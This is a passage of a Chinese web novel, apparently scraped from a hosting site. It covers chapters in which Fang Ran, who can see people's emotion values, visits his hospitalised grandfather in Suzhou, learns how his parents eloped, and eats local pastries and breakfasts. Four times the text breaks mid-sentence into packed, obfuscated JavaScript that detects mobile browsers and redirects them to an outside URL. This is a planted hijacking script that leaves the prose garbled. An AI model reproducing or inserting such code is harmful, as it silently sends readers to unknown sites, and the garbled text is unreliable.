《方家小饭馆[系统]》 7. 杨梅香和方和平1 下班了的方然扛上自己分到的中秋节礼,就准备回家了。A大餐饮集团能够成为阿姨们口口相传的好单位也不是没有道理,孙经理做事情就是大气,扛着节礼走在大马路上的方然感受着别人羡慕的目光,雄赳赳气昂昂地往回家走,毕竟除了五大食堂做的月饼之外,还有一箱石榴、一箱坚果,两张热门电影票,最最体面的还送了大闸蟹! 现在大闸蟹的价格可是年年走高,市场里散卖的个头都比较小只,像孙经理这次发的大闸蟹就不一样了,是他朋友的蟹塘里定的。这大闸蟹一出,食堂师傅和阿姨们都高兴坏了。毕竟大家平日里还是比较节俭的,很少会买这么贵的大闸蟹打牙祭,这么一袋拿回家去,一家人团圆一起吃大闸蟹真的是非常惬意的事情了。 经过一段时间的锻炼,现在已经是有点健壮的方然了,扛着一堆东西都能健步如飞! 中秋节因为同学们很多都提早回家过节去了,方和平的肉夹馍小店也能歇歇,搞不好已经定好了什么网红店等着方然到家一家三口可以去吃晚饭了。 方然想象中爸妈的样子应该是在家里玩着手机等他,结果一进门看见得就是眼眶红红的,一看就是刚哭过的,面上还很慌乱的杨梅香同志。 杨梅香一看见方然到家了就开始喊人:“老方,搞快点!然然到家了!” 方和平从楼上拖着几个大包小包,应该是几身换洗的衣物,“梅香,别急啊,没抢到去苏市的高铁票,等下开车连夜过去,三小时能到!” 方然还没有回过神发生了什么事情,就被安排去洗手间解决一下生理问题,等下上车就要出发。 看着慌乱的杨梅香,严肃的方和平,方然也不敢问是要去干啥,这样子一看就不是什么好事情,当个听话的小孩子被安排就好了。好在食堂的工作够给力,他的情绪值已经上升了一段,现在是【-56.6230w】,较比当初刚绑定系统的时候,还微微上升了呢。 方然家的车是一款旧款的大众越野车,后排空间还可以,大高个方然上车的时候还把发的月饼、坚果还从家里的饮料柜里拿了不少饮料带上了上车。 看着不如以往叽叽喳喳,一直沉默地亲妈,摸出了鲜肉月饼想要让她开心一点:“妈,食堂大师傅做得鲜肉月饼,可好吃了,来点?” “不想吃。”坐在副驾的杨梅香情绪不高道。 一直在专注开车,想尽可能快点到苏市方和平听了,劝道:“梅香,吃点,今天晚饭都还没吃。咱爸不会有事的,听话啊。” 慌乱得像个小孩的杨梅香还是会听方和平的话的,从副驾转头忽略掉方然手上的鲜肉月饼,在月饼盒子里看来看去,最后要吃冰皮奶黄流心月饼。 这月饼做得真的好,卖相超级能唬人,清雅的绿夹杂着丝丝缕缕的白,微微透出奶黄的鹅黄色,色调极为融洽,给人的感觉就像站在生机旺盛的春光里。 也难怪现在的杨梅香喜欢。 方然将月饼还有纯净水都递给了杨梅香。 甜品是一种很好的心情安慰剂,方然看着杨梅香头顶的灰色数值可算不往下跳动了,最后停留在了【-44.9722w】。 真是可怕,按照方然这段时间观察总结的规律,杨梅香同志基本上每天都顶着一个小太阳,金色的数值在十万上下浮动,往上跳动的主要因素有:钱财入账、购物。 而方和平同志每天的情绪值大概在零的界点上下浮动,影响的主要因素是:杨梅香的夸奖和嫌弃。 而方然自己则每天恶化一千数值,至今还没找到原因,他称这种状态为“死命工作后遗症”、“不明所以焦虑症”。 中秋节的车流非常地拥挤,就算方和平倾注了一百二十分的心神,也再所难免地堵在了路上。方和平也吃了点月饼补充体力,想开口但看杨梅香出神得厉害,也只能将满肚子的安慰咽回肚中,心里也不由得酸涩。 说来话长。 方和平就是个孤儿,捡到他把他养大的老爷爷就是个老厨师,啥都会一点,有钱了就炖肉和方和平一起吃,平日里摆个摊位卖干炒牛河。等老爷爷百岁后,方和平不想再呆在粤省了,就往其他的城市跑,或者说流浪? 一个人一个包袱,了无牵挂。走到哪里缺钱了就去找个饭店或者夜宵摊工作一段时间,靠着一手好吃的干炒牛河,每每都会被人接纳。 方和平第一次见到杨梅香的时候,就是在苏市铁路车站外面,摆着一个干炒牛河的小车摊位,招待得是夜晚等火车回家的人。 那个时候铁路人刚刚换上了94式路服,样式大改,做工精致,穿着制服的杨梅香在方和平眼里也是那么的英气娇俏。[注1] 车站不仅有夜晚等待发车的人,还有深夜到站的人。 杨梅香将自己的饭盒递给方和平的时候,方和平私心里多给了很多牛肉。手艺本来就出挑,量给得又足,引得杨梅香三天两头都来吃夜宵,还经常带着三三两两的小姐妹。 方和平一边给杨梅香的小姐妹相同的待遇,心中一边在滴血,亏本了啊。 在杨梅香吃完第十八份干炒牛河后,方和平在苏市也呆了两个月了,按道理说他早该厌了这个城市,该玩得该溜达得都差不多了,是时候出发去下一站A市了。 但是一想到杨梅香,他又劝自己有人喜欢他的手艺,不能突然消失让别人的期待落空。 在杨梅香一个晚归的夜晚,吃上了方和平摊位上最后一份干炒牛河,也是她的第二十七份干炒牛河,她站在摊位边看方和平收拾家伙什边吃。 方和平手上的动作不由得慢了,就这么点东西,他每天收拾来收拾去,三下两下就能收拾好,但是现在有人好像需要他陪着,他不住得摆弄来摆弄去,他试着聊天:“味道咋样?” 杨梅香一边吃一边点头,“不错,很好吃啊,天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14607136|156098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天都想吃。” 听了这句话,方和平瞬间不想走了,但是一点点理智还牵扯着他,杨梅香工作那么好,他却无父无母,只是个小摊贩,不对,这个小摊位都是自己租来的。 “你哪里人啊?这手艺正宗的。”杨梅香又问道。 “粤省的。” “那边前两年有个大爷干炒牛河很好吃,我每次发车去了粤省都要去吃,后来人就找不到了,也不知道去哪里了?”杨梅香感慨。 方和平觉得很熟悉,两年前就是老爷子没掉的时候,老爷子的干炒牛河摊位就支在车站边上,而他却在街市上摆摊位,她说的和他想的应该是同一个人。 他不忍心告诉真相,对食客来说,一种美味随人而逝去,心中应是难过的:“谁知道呢,可能被儿女接走享福去了吧。”去了天上,老爷子也应该和早逝的妻子、早夭的儿子一起团聚了吧,搞不好真在享福了。 “那挺好。你这手艺和他像得很,我也很喜欢。” 一顿干炒牛河的时间不长不短,看着夜深了,杨梅香一个女孩子,方和平提出送她回去。 离车站不远的地方,一位穿着衬衫打着领带面容方正的青年倚着一辆自行车在街边等着。 看着杨梅香出来了,忙推着车上前打招呼:“梅香,我送你回家啊。” 杨梅香和方和平也注意到了这个人,杨梅香皱了皱眉头:“苏名扬,你是不是又去问我爸了。”看着边上的方和平,杨梅香想给苏名扬留点面子,“以后别这样了,你回吧,我自己能回去。” 又一次被拒绝的苏名扬颇有一点生气,看着站在边上的方和平,脑子里怒气“哗哗哗”上涌,口不择言,带着恼羞成怒:“怎么?你看不上我,看得上他啊?一个摆摊的?” 一旁的方和平突然心里面中了一箭,他摆摊关这个苏名扬啥事,这个人怎么如此多嘴多舌。 杨梅香是仗义的人:“这话说得?你爸以前不也是摆摊的?” 以前家里摆摊,现在家里开着大酒楼的苏名扬也中了一箭。 杨梅香自顾自往前走了,方和平和苏名扬立马跟上,方和平推着个小车,苏名扬推着个自行车。 苏名扬看来很喜欢杨梅香,就算是这样,压下怒气,理智回笼后:“梅香,我不挺好的,我爸爸的三虾面你不是很喜欢?和我在一起以后可以天天吃不用给钱,我工作单位也很体面啊?我有啥不好的?”苏名扬想着七大姑八大姨给他介绍的那些小姑娘,每个人在见过面后都表示对他颇有好感,就不明白了,杨梅香怎么那么不喜欢他。 杨梅香往前冲,后面跟着两个人,苏名扬还像苍蝇一样嗡嗡地罗列着自己的优点,杨梅香心里翻了一个白眼:“我现在爱吃干炒牛河,不爱吃三虾面了,行了吧!别跟着我了。” 苏名扬傻眼了,天天炒干炒牛河的方和平也傻眼了。 她爱吃干炒牛河?! 8. 杨梅香和方和平2 还不等方和平说什么,杨梅香已经飞快地走了,剩下方和平和苏名扬大眼瞪小眼,互相冷哼一声,拐向了不同的方向。 有个爱吃干炒牛河的杨梅香吊着方和平,方和平也不想走了,A市可以晚点去,他年纪也到了,谁还不想处个对象。 回到家的杨梅香,看着客厅里的老头,气就不打一处来:“爸!我都说过多少次了,我不喜欢苏名扬,别撮合了行不行!” 杨怀仁在客厅里也是为了等晚归家的小女儿,他不放心小女儿深夜归家,平时的时候碰上这种情况都是自己去接或者让大儿子去接,今天碰上苏名扬,想着人挺好的,给年轻人撮合一下,才让他去接,结果小女儿像点了炮仗一样。 他想不明白了,苏名扬哪里不好了,惹得杨梅香这样不满,不管是家庭情况还是个人条件都顶顶拿得出手了,外面不知道多少小姑娘喜欢他,而且小女儿不是很喜欢他家的三虾面嘛,结了婚后不就能天天吃了。 杨怀仁有点难受:“行吧,你不喜欢苏名扬,让你二姨下次再给你找找,肯定能找个好后生。” 听了这话杨梅香更加烦躁了:“别找了,二姨、大伯母她们找得都是啥啊,没一个看着靠谱的。” “这也不行,那也不行!你到底想怎么样?年纪到了,不都得嫁人?”杨怀仁气了。 杨梅香比他更生气:“尊重一下我自己的想法好不好啊,爸,我想找个自己喜欢的。” “行行行,相亲就说包办婚姻,天天想着自由恋爱,你也不看看你王大妈的小孙女的下场,直接被人骗得人财两空了,还得一个人养着小的,她以前哪吃过这种苦。爸爸妈妈都是为了你好。外面一堆小混混都想着骗你们这些小姑娘!” 一场争吵随着杨梅香冲上了二楼,不欢而散。 杨怀仁撞到杨梅香和方和平的时候,看着有说有笑的两个人,全身的血全往脑袋上冲,苏名扬那样的看不上,在这和个小摊贩倒是聊得开心。 上去拉住杨梅香的手,不管杨梅香的挣扎,面色铁青,一言不发就把她带回了家。看得方和平又着急又不知道该怎么办。 回到家后,大门一关。 杨怀仁看着杨梅香怒问道:“你怎么回事?看上那小子了?” 目前只是觉得方和平人好,还没有别的想头的杨梅香,觉得杨怀仁真是奇奇怪怪,想太多:“说什么呢?就一朋友。” 但是看着气急败坏又对着自己一顿说教的杨怀仁,尤其是仿佛听到苏名扬的名字后,杨梅香不知为何就嘴硬道:“我就算看上了也是我自己的事情!” 这句话的后果就是杨怀仁天天自己接送杨梅香,盯贼一样盯着方和平,不给两个人一点接触的机会。 人都是有逆反心理的,尤其是那个时候从小顺风顺水的杨梅香,她就不明白了,从小都很宠爱他的杨怀仁,这次为什么如此不可理喻。 有的时候想办法偷偷支开杨怀仁,去吃上一份干炒牛河,都觉得更加好吃了。 这事干得多了,等杨怀仁回过味来,很容易就被抓包了,再一次碰到两个人说说笑笑的杨怀仁直接把杨梅香关在了家里,找了人给她挂上了病假,直要把两个人的关系断掉。 方和平很久都没见到杨梅香了,他也知道这段感情可能没有可能了,他准备离开苏市去A市了,走之前,不知为何,他很想再见一眼杨梅香。 在某一天做出了不理智的行为,跟踪杨怀仁踩点到了他家,晚上悄摸摸地找了个梯子爬了上去,敲响了二楼杨梅香房间外的窗户。 杨梅香听着熟悉的声音,小心地打开了窗户,看着扒着自己家窗户、略微狼狈的方和平,不由“扑哧”笑道:“你怎么回事?” “就想来见见你。” 杨梅香感觉方和平有点不对劲,问道:“怎么了,等我爸气消了,我就能出去了啊。” “我要走了,来和你告别。”方和平已经做好了心理准备,但是心还是钝钝的痛,不算痛彻心扉,就像心头的肉,被一下又一下地磨去一层层的血肉。 杨梅香不笑了,和方和平认识、交流的时光是她人生中很快乐、以后也很难忘的一段时光,现在的人很少有像方和平这样走过大江南北,领略过很多风土人情的人,每次听他描述,她的心也不由向往。经常想要跟着列车去不同的地方多看看,而不是经常在一两个线路上。 方和平告别完了,没等杨梅香说什么,就爬了下去,低头的瞬间眼眶里的眼泪就汹涌了出来,是他没用。 杨梅香是父母宠爱的人,以后也会顺遂一生的,不应该跟着他去吃苦受罪,去漂泊,他是没有根的浮萍,不知曾经的来处,短暂地在收养他的老爷爷身边停靠了一会儿,未来也不知去处。 准备把梯子搬走了,不敢抬头看窗户透出的橘黄的暖光。 “哎,你等等。”杨梅香小声地喊道,留住了方和平的声音。 不一会儿,一个小行李包就被杨梅香从窗户上扔了下来,砸在了方和平的心头上。 方和平看着杨梅香从窗户里探出身子,用脚去够梯子的时候心惊胆战,一边扶着梯子,一边注意着杨梅香。 好不容易爬下来了,杨梅香一手拎起行李袋,一手牵住了方和平的手,说道:“我和你一起去。”想了想,又补充了一句:“你去哪我去哪。” “那你家人呢?” “过段时间回来认错呗。” “那你工作呢?” “不管了,广阔天地,大有作为!” ...... 中间有没有为不知道,反正在方然记忆里,杨梅香和方和平就是A大后街生意还算火热的肉夹馍店的老板娘和老板。 而二十几年了,杨梅香当初的行为伤透了家人的心,一直也没求得原谅,一家三口甚至和苏市这边割裂了二十几年。 一个月进了两次医院的方然闻着消毒水的气味,很是有些恍惚。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14607137|156098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >在医院接方然一家人的是杨梅香的大哥杨竹兴,杨竹兴一直和杨梅香有着联系,每个月收到杨梅香打回来的给父母的四千养老钱,但是也许多年未见面了。杨竹兴看着小妹一家人,没有甩什么脸色,现在这种情况,看小妹那个惶恐的样子,就知道她的心理也很难承受了。 细细观察了小妹的样子,脸上没有什么愁苦的皱纹,只不过多了些岁月的痕迹,身上的穿着打扮质量挺好,再看了看手,一如既往的细致,可见这些年来没受什么苦,心里放心了许多。 转向方和平还是没什么好脸色,并不想搭理这个把小妹拐跑的人,对方然倒是和颜悦色多了:“我是你舅舅。” 方然问好。 杨竹兴点了点头,对杨梅香说道:“爸已经抢救回来了,医生说没有什么大事了,现在妈和你嫂子陪着呢。” 略微想了想,又说:“我先带你们去找个酒店住下,然后吃点东西,医生说爸还不能太激动,他还不知道你们过来了,明天等我们和爸说了之后,再来见见吧。” 大家哪里还敢说什么,就算心里很着急,杨梅香还是听大哥的话。 大哥在她眼中从小就老成靠谱。这些年在父母跟前跑前跑后的都是大哥和大嫂,她一点力也没出,心中也多有愧疚,每个月除了多打点钱什么也没干。而且,当初大哥还在她最难的时候打了一笔钱,说是嫁妆钱。 杨梅香现在很是有些后悔这些年的逃避,为什么她回来求了两次没被原谅就赌气再也不回来了。一想到以后方然要是和自己赌气再也不回家来,杨梅香就想揍得方然哭天喊地。 想到这,攥着方和平的手猛然用力,方和平被这突如其来的力道吓了一跳。 到了苏市,他就是个鹌鹑,哪都不敢往前凑。 出了医院门口,有道是冤家路窄,方和平一眼就认出了苏名扬,比以前更成熟了,衬衫袖口处微微露出的表,和拿在手上保时捷的车钥匙,能看出这个人现在混得很是不错。 苏名扬提着果篮,看了两眼杨梅香和方和平,笑着对杨竹兴说:“大哥,我来看看杨叔。” 杨竹兴看着这三个人略微有些尴尬,上前了一步出面道:“现在还不方便探视,心意领了啊。” 听了这话,苏名扬也不过多纠缠,将果篮递给杨竹兴,再凝视了一眼杨梅香,告辞了。 方然看着这些中年人头顶的灰色数值略微有些无语,一个见面几个人又往下跳了几百,自己给自己找罪受。 他将目光转开,想要看点金色的小太阳调节一下情绪,目光放远,有着一片小小的公园,边上是几栋高耸的写字楼。 方然通过写字楼目光不断往上攀升,想要看看那高处的蓝天,一朵巨大的闪着电火花的闪电大乌云闯入了他的视线。 在视线中飞速坠下—— “啊!有人跳楼了!” 人群不住得开始骚动,声音灌进方然的耳朵了,世界在眼前开始旋转。 9. 吃吃吃 从A大附属医院住院部刚出来不久的方然,又一次躺进了苏大附属医院住院部。 隔天,醒来的第一件事情还是先看看自己的情绪值,【-66.6230w】的数值让他倒吸一口凉气,一口气下跌了十万。 他现在总算是知道情绪跌破一百万会怎么样了,会崩溃到跳楼。他的脑中不由自主地想起了A大见到的那一朵闪电大乌云,岌岌可危说得是就她。 一想到这,他就难受得喘不上气。 更何况,他还喜欢她。 杨梅香和方和平也不知道去哪了,方然自己按了一下铃,自己叫来了护士。 “没事,就是惊吓过度,晕了而已。”一天到晚都很忙碌的护士,面上没什么表情,眉心浅浅的印子透露出了她偶尔的烦躁,简单地交代了几句就转身走了。 方然准备摸手机喊杨梅香和方和平。 病房外传来一阵嘈杂地脚步,杨竹兴用轮椅推着一位老爷子,后面跟着一伙儿人,杨梅香和方和平也在列。 老爷子的面色还是比较苍白,但精神看上去不错。 “哎呦,我的大外孙嘞。”杨怀仁刚进房门对着方然就开始喊。 看着傻着愣着不知道叫人的方然,杨梅香有点点嫌弃:“愣着干啥,喊外公。” 看着老爷子期待地眼神,方然有点生疏地喊道:“外公。” “哎呦,哎呦,然然没事吧。吓到了这次,等回去,好好洗个澡,去去这点小晦气。”杨怀仁的热情让方然有点招架不住,只能不住地应和。 后面一看就是自己外婆的老太太也一脸慈祥又期盼地看着方然,方然一个激灵:“外婆!” “哎,哎。”邹凤仙看着白白嫩嫩的方然,觉得这就是她梦想中的大外孙,要是能够再小个二十岁,还是小团子的时候就更好了。 方然眼睁睁地看着这两位头顶的情绪值一下子从灰色冲成了金色。 方然出院后,住得不是酒店,也不知道杨梅香和方和平是怎么获得家里人的谅解的,反正一家三口就住进了杨怀仁、邹凤仙的家里。 杨竹兴一家人有他自己的住处。 本来一家人还在医院,但是杨怀仁催着喊着要邹凤仙带着方然先回家,别在医院里待着了,再带着方然出去逛一逛。 杨怀仁知道方然受了惊吓后,恨不得自己立刻出院带着他出去散心,就算如此,身体不便的他也在病房里拿着手机远程指挥着邹凤仙带方然去哪里哪里玩,吃点什么什么东西,给安排的明明白白。 至于杨梅香和方和平自然是被压在病房跑前跑后了,这是杨怀仁对他们两个人的“惩罚”。要不是这次有了大外孙,他还是不想见这两个人,当初一个敢拐,一个敢跑,气得他一想起来就窝心得痛。 邹凤仙一手挎着小包,一手挽着方然,走起路来那一头老太太专属的弹簧小卷发都一颤一颤的,充满了喜气与欢乐,毕竟老伴儿现在没事了,只需要好好养身体就行,而自己的小女儿一家也回来认错了,最最最主要的是有了大外孙,天知道她每天在家里和老年活动中心两点一线是多么寂寞,麻友们一个个都去帮儿子女儿带小孩了,她觉得她年纪还轻、身体倍儿棒,也需要个小孩子来“烦烦”她。 可惜大孙女是女强人,现在还在当空中飞人,完全没有成家的意向。现在看着方然,虽然大了些,但是看上去还有点可爱,她觉得也可以勉强带带。再过两年,等方然有小孩了,刚好无缝衔接,美得很。 出了医院倒也没急着往家里去,这边上是老城区了,有条老街开了不少的店铺,其中有几家糕点铺子做了很多年了,刚好去买点给方然垫垫肚子,年轻人的胃都是无底洞,更何况一看就很能吃的方然了。 一路略过那几家装修精致且人多的店,走到一家门头略小的店前,先买了两块赤豆糕递给方然,邹凤仙笑眯眯地让方然吃。 这糕点外面糯米皮子略微透明,露出里面豆沙红的馅儿,入口冰冰凉凉的、糯糯的,咬破之后里面的馅料带着丝丝奶味儿,还有一颗颗没有磨碎的红豆咬起来沙沙的,增加了口感和层次。 好吃哎!方然感觉虽然情绪值不动,但是他能在食物上汲取到一点点轻松快乐的感觉。他算是搞明白了,只有他让别人快乐了,他才能获得正向反馈,简直就是个治愈他人的剧本。但是这个反馈也要有“媒介”,目前他发现的就只有“食物的力量”。 没错,就是“食物的力量”,他的手艺现在远远称不上“美味”。 接下来邹凤仙又带着方然去了几家小店,方然每种点心都尝一口,一条街吃下来,回头看去,这简直是一条宝藏街!毕竟短暂的轻松也是轻松,得手艺好到了一定程度他吃得时候才能感受快乐。 最后方然一只手上挂满了点心袋子。 回家经过一些莫名的仪式后,邹凤仙觉得“小晦气”去了,总算放过了方然,打开手机向杨怀仁汇报进度,等待下一步的指示。 晚饭是出门吃的,饭店也是杨怀仁指定的,是他以前的老东家,百年老酒楼“望月居”,是以“船点”起家,后又丰富拓展成了饭店,菜品基本为经典的苏帮菜,加上一些淮扬菜。 松鼠桂鱼、响油鳝糊、碧螺虾仁吃得方然止不住嘴,也不知道哪里请来的大师傅,吃得方然轻松到飘飘然,整一个吃迷糊了。 邹凤仙吃饱了之后看着方然吃,后厨有位中年人带着徒弟出来打招呼,还亲自做了几样船点,送了过来。 说起船点,那绕不开的还有苏式糕点。 在白案江湖,苏式糕点的地位举足轻重,自古以来,多得文人墨客赞颂,到了现在,苏式的鲜肉月饼也是俘获了不少好吃之人的芳心。中秋节二餐制作的月饼就是苏式的鲜肉月饼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14607138|156098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只不过被四餐大师级的莲蓉蛋黄月饼压着,显得不那么出挑,但是它的好吃却是毋庸置疑的。 至于船点,又是苏式糕点中非常重要的一种点心了,既讲究型,也讲究味。船点由来已久,江南多水系,出行时也多为船只,行船较慢,为贵客们打发时间又能果腹从而准备的精美点心,自然讲究极了,慢慢的就有了独有的称呼,叫做“船点”。 船点的特点概括起来那就是:香、软、糯、滑、鲜、型。[注1] 苏州的船点虽小巧玲珑,精美细腻,但小小的船点肚里也包裹了可口的馅儿,植物造型的船点多加豆沙、莲蓉等馅料,动物造型的则多为肉馅。[注2] 用澄粉和糯米粉混合制成的面团,分成小剂子包裹上馅料后,在经过巧手的师傅做成一个个活灵活现的动植物造型的糕团,生动可爱,极为有趣。 种花家的小孩子们除了现在爱捏橡皮泥,以前还特爱捏面团,大人做饺子的时候为了不让小孩子在边上捣乱,也是经常掐下一块小小的面团剂子,让小孩子在边上玩,小孩子还对捏小兔子、小乌龟等动物情有独钟。 那么船点就是大师傅精心制作的可赏玩可食用的“小玩具”了。 看着这精美的船点,方然的情绪已经有了一点点放松,他还有点下不去嘴,称之为“艺术品”方然都觉得不为过,边上的邹凤仙倒是见得多了,并没什么感觉,看着方然的样子,笑着催促道:“快吃,要是喜欢吃,以后让你外公天天给你做。” 方然:“......”大佬说话就是硬气。 既然如此他再磨磨蹭蹭反而不像大丈夫所为,小小的船点对他来说一口一个,倒也避免了他“到底是先吃小兔子的脑袋还是先吃小兔子的尾巴”这种纠结。 谁让船点是“象形”的呢?那活灵活现的样子,还是一口包更好一点。 口感软糯,馅料可口,但方然觉得,观赏性大于食用性。 日子才过了一天,邹凤仙又有点想老伴儿了,本来的安排是带着方然去逛园林的,但是她觉得大外孙子都认回来了,以后和老伴一起带着去逛更好,更何况老伴比她能说会道多了。 邹凤仙准备带着方然去街口吃完早饭,顺便拎着早饭去医院替班,让杨梅香和方和平也可回家歇歇,晚班到底还是比白班累得多,犟得很的老伴就是不肯请护工,一定要享一享“女婿福”。 街口的这家早餐店开了二十几年了,靠着这家小店,店主一家人房都买了三套了,口味出挑,每天的顾客自然络绎不绝。不止有街坊,更有不少外地的游客过来光顾。 咸豆浆,配上生煎、油条,再来一笼烧麦是邹凤仙以前的最爱,不过年纪大了,油炸食物还是得少吃,但是今天有方然在,她准备小小地放纵一下自己,她吃半根油条,方然吃一根半。 咸豆浆里面的料极为丰富。 10. 粤式早茶 勺子一搅:油渣、虾米、榨菜、咸菜、葱花,一堆食材混在咸豆浆里,喷香扑鼻。虽然在平日里都喝甜豆浆的方然眼里有点怪异,但这是外婆倾情推荐的美食,香味闻起来也不需要他做一下心理建设才敢尝,轻轻地尝了一口,香而不腻,尤其是里面漂浮着的油渣,香酥极了。 豆浆特有的丝滑很好地浸润过了口舌,随着食管顺流而下,这时再来一口刚刚出锅的蓬松酥脆的油条,越嚼越香,真是绝配。 生煎包点的是传统的猪肉馅,现在很多生煎店都出了其他馅料,譬如素馅、鲜虾馅等,不过拥有最多支持者的还是鲜肉生煎。 它的外皮既有柔软又有酥脆,刚刚出炉的生煎包不适合一口入嘴,因为里面的肉馅拥有滚烫的肉汁,一不小心就会被烫出小泡了。肉馅精瘦型的,但是这充沛的肉汁已经明晃晃地告诉食客,不是没有肥肉,是肥肉们经过热气的神奇作用都化为了鲜美的肉汁。 但是贪心的食客,从来都不会只在一种美味上停留,他们往往全都要。 苏式烧卖的皮非常薄,里面酱色的馅料微微透出,一口咬下去,香、糯、且油润。用浓油赤酱调出来的烧卖馅,咸中还带着丝丝甜味。薄却韧的烧麦皮包裹着软软糯糯的糯米馅料,糯米中还夹杂着大颗鲜肉丁,舌齿微动,迂回于糯韧之间,香菇的香气霸道地流出,齿颊留香。 去医院在外公面前又尽了一天孝心后,方然在苏市待不住了。 毕竟他一醒来头上【-66.8230w】的情绪值就像一把铡刀,不知道什么时候就落下来了,更何况有外婆在根本就没有下厨的机会,他已经开始想念A大那些能够提供情绪值的小可爱了。打工人之魂,开始熊熊燃起。 还有一点就是,那朵闪电大乌云一直在牵动着方然的心。 方然发现了那朵闪电大乌云,知道情绪值跌破负一百万后会造成惨烈的后果,他就已经不忍心了。他知道了这件事情,又有小小的能力可能能够挽救,那他就应该去做。 在外公外婆一家人依依不舍中,方然一个人独自踏上了回A市的高铁,毕竟杨怀仁还没有出院,杨梅香和方和平还得留着尽孝。 节后开工的第一天,方然起了个大早准备去四餐吃早茶,顶着个数值为【-66.9230w】的他情绪不太好。但上次四餐的莲蓉蛋黄月饼让他对四餐的美味印象提升了一大截,对一直被A大同学们赞不绝口的粤式早茶也有了好奇。 方然刚进四餐,迎面就碰上了四餐的大师傅——汪师傅。 汪师傅一如既往地有点傲气,这点傲气却不让方然讨厌,毕竟是有实力,更多得像是可爱的傲娇,他普通话还是带着点乡音:“吃早饭啊?” 得到方然肯定的回复后,汪师傅的心里不由得有点得意,毕竟方然现在还是三餐的人,这不就是属于“资敌”行为吗?上门来贡献营业额的他都欢迎,搞不好就因为那十几二十几块钱,他的四餐一举拿下A大餐饮集团“龙头”餐厅的地位。 所以现在的汪师傅特别好说话,示意方然跟着他走,拿了盘子亲自带他去选了几样早饭。 毕竟作为四餐的大师傅,他是最知道自己手底下这些厨师的水平了,挑出来的早点都是水平最为出挑的。他向来懂得独木难支的道理,自从开始负责A大四餐,就精心指点了很多厨师的手艺,其他几个食堂的大师傅也是相同的做法。 反正在这个年代,很多技艺都面临着后继无人的问题,以前都藏着掖着,结果藏了一辈子,手艺断了。现在就算想收徒弟,都要看点运气,好苗子也不多,真正厉害的人去做别的工作也能闯出一片天地。 有时候想教都要没人要学了。 现在大部分厨界前辈都想着能多教点出去就多教点出去,很多大厨都开始拥抱自媒体了,将曾经的宴席菜下沉到家常菜,只为了能够引起大家的兴趣。 说到底,还是厨师行业没以前那么吃香了。学一门手艺又艰难又吃天赋,新的商业模式疯狂卷席,机械化作业导致很多中下层厨师开始失业。外面每年都在说厨师行业又面临几百万人才缺口,但缺得从来都是技艺成熟的大厨,没个几年十几年的学习根本就成长不起来,厨师学徒那点零星的工资又导致丧失了培养的温床。 越来越多的人觉得还不如安安当当好好学习,按照正常的路径走。 汪师傅将叉烧包、虾饺、蒸凤爪、白灼菜心往方然餐盘上一放,又打量了下方然,毛估估一下他的食量,又给他打了一大碗鲜虾粥。毕竟为了让同学们能多吃几个品种,四餐早茶走得都是精致量小的路线,而方然一看就是能吃的。 看方然自己结完账后,汪师傅轻轻叹了口气走了。在他看来高高壮壮的方然确实是学厨艺的好苗子,他也去总经理那边问过情况,知道后就越来越觉得方然不可能久留的,既然大概率留不下,那还是不要有过多期盼了,免得最后落空难受。 汪师傅的表现看得方然一头的雾水,感觉短短的一段时间,汪师傅脑中就千回百转了,不知道想了多少东西,头顶上的情绪值时不时往下跳个几百。 不过在方然看来问题不大,每个人每天都有不同的烦恼,睡一觉起来,可能就烦恼消失,心情明媚了。毕竟不是所有人都和他一样,被强制要求“治愈他人”。 拿着装得满满当当的早餐盘子,方然想找个角落去吃,毕竟他现在还是三餐的人,万一撞上同样“资敌”的同事,那就尴尬了。 刚找到一个绿植拐角后面的座位,方然刚坐下,对面也坐下了一个人。 方然:“!!” 心脏微微受惊,头皮点点发紧。方然抬头一看,是一餐的沈师傅。心下也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14607139|156098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 由得松口气,沈师傅一看就不是那种会去李师傅面前告状的人! “方然,先吃,这个叉烧包好吃得很,小汪大弟子的手艺。”沈师傅可见懂行得很,因为餐盘上也有一份叉烧包,还有鲜虾粥,对比方然的食量小得不是一星半点。 